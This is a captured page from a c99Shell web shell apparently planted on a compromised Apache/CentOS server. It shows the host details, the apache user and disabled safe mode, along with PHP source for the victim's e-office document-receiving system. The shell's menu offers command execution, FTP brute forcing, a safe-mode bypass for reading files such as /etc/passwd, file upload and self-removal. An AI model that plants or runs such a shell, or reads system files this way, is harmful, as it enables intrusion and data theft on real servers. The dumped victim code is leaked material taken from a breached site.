!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 52.23 GB of 127.8 GB (40.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     processReceiveDocAll.php (4.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"funct.php";
include_once 
"../link/function.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsDocReceiveSend.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsDocuments.php";


$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);
$oDP = new Department($oC);
$oRsd = new DocReceiveSend($oC);
$oDlcd = new DocLineConfig($oC);
$oDlc = new DocLineConfig($oC);
$oRs = new DocReceiveSend($oC);
$oRs2 = new DocReceiveSend($oC);
$oDoc2 = new Documents($oC);



if(isset(
$_POST)){

                    
$flagCommit true;
                    
$checkflagCommittrue;
                    
$oC->BeginTrans();

                    
$str $_POST['store_DrsID'];
                    
$tmp explode("," ,$str);
                    
$tmp array_reverse($tmp);
                    
$reversed_str join(','$tmp);                             
                  
                  
//echo '<br>---------------------------------------<br>';
                  
$store_DrsID_exp explode("," ,$reversed_str);
                  
$store_DrsID_exp_count=count($store_del_exp);
                    
                  
$store_DrsID_exp_count=count($store_DrsID_exp);
                  for(
$j=0$j<$store_DrsID_exp_count;$j++){
                        
$t_id trim($store_DrsID_exp[$j]);
                        if(
strlen($t_id)==0){
                        
                        }else{
                            
//echo 'Check box value ->'.$t_id;
                            //echo '<br>';
                                
$oRsd->SearchByDrsIDReceiveAll($t_id);
                                
$oRsd->GetRecord();
                                
$oDlcd->SearchByKey($oRsd->DlcID); 
                                
$oDlcd->GetRecord(); 
                                
                                
$timesend=getNowDateTh()." ".date('H:i:s');
                                
//-----check runningNo
                                
if($oRsd->DtID!=15){  $insertDtID="3"; }else{  $insertDtID="15"; }
                                
$DocTypeNo=ShowRunningDoc(3,$insertDtID,$oDlcd->deptId); 
                                
$oDP->SearchByKey($oDlcd->deptId); $oDP->GetRecord();  
                                if(
$DocTypeNo=="N"){
                                    
?>
                                        <script>alert("หน่วยงาน<?  echo $oDP->deptName?>\nยังไม่มีการตั้งค่าการใช้งานเลขทะเบียนหนังสือภายใน \nกรุณาติดต่อผู้รับผิดชอบระบบ");</script>
                                    <?     
                                        
echo "<meta http-equiv='refresh' content='0; URL=receiveDoc.php'>";
                                        break;
                                }
                                if(
$DocTypeNo=="NoConfirm"){
                                    
?>
                                        <script>alert("หน่วยงาน<?  echo $oDP->deptName?>\nยังไม่ยืนยันการใช้งานเลขทะเบียนหนังสือภายใน \nกรุณาติดต่อผู้รับผิดชอบระบบ");</script>
                                    <?
                                        
echo "<meta http-equiv='refresh' content='0; URL=receiveDoc.php'>";
                                        break;
                                }
                        
                                
//----set running Doc
                                
$oRd->SearchRunningBydocGroupDtIDDept($oRsd->DocGroup,$insertDtID,$oDlcd->deptId);
                                
$oRd->GetRecord();
                                
$oRd->Edit();
                                
$oRd->receiveNo=$DocTypeNo;
                                
$checkflagCommit $oRd->Save();
                                
    
                                
//----edit set Document
                                    
$oDoc2->SearchByKey($oRsd->DocID);
                                    
$oDoc2->GetRecord();
                                    
$oDoc2->Edit();
                                    
$oDoc2->DlcID=$DlcIDlogin;
                                    
$oDoc2->DsID="1";
                                    
$oDoc2->DocDateCreate=$timesend;
                                    
$oDoc2->DocUserCreate=$DlcIDlogin
                                    
$oDoc2->DocTypeNo=$oRd->receiveNo;
                                    
$checkflagCommit $oDoc2->Save();
                                    
                                
                        
                                    
//-----edit set RsDoc
                                    
$oRs->SearchByKey($oRsd->DrsID);
                                    
$oRs->GetRecord();
                                    
$oRs->Edit();
                                    
$oRs->DlcID=$DlcIDlogin;
                                    
$oRs->DrsReceivePersonId=$personId;
                                    
$oRs->DrsSendDate=$timesend;
                                    
$oRs->DrsSendPersonId=$personId;
                                    
$oRs->DrsSendDlcID=$DlcIDlogin;    
                                    
$checkflagCommit $oRs->Save();
                                    
                                    
$oRs2->AddNew();
                                    
$oRs2->DrsID=$oRs2->GetNextCode();
                                    
$oRs2->DocID=$oRs->DocID;
                                    
$oRs2->DlcID=$DlcIDlogin;
                                    
$oRs2->DsID="1";
                                    
$oRs2->PtID=$oRs->PtID;
                                    
$oRs2->DrsDocTypeNo=$DocTypeNo;
                                    
$oRs2->DrsReceiveDate=$timesend;
                                    
$oRs2->DrsReceivePersonId=$personId;
                                    
$oRs2->DrsDlcIDCreate=$DlcIDlogin;
                                    
$oRs2->DrsPsIDCreate=$personId;
                                    
$oRs2->DrsFromDrsID=$oRs->DrsID;
                                    
$oRs2->DocGroup=$oRs->DocGroup;
                                    
$oRs2->AnID=$oRs->AnID;
                                    
$oRs2->DrsstartDatePost=$oRs->DrsstartDatePost;
                                    
$oRs2->DrsendDatePost=$oRs->DrsendDatePost;    
                                    
$checkflagCommit $oRs2->Save();
                                    
                                    if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }                                    
                            
                        }
                  
                    if(
$flagCommit)
                        
$oC->CommitTrans();
                    else
                        
$oC->RollbackTrans();
                  }
  
$searchpredocdate=splitDateForm($searchpredocdate,"/");     
  echo 
"<meta http-equiv='refresh' content='0; URL=receiveDoc.php?page_id2=$page_id2&searchpredocdate=$searchpredocdate&selectpredocdatevalue=$selectpredocdatevalue'>"
}
  
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0067 ]--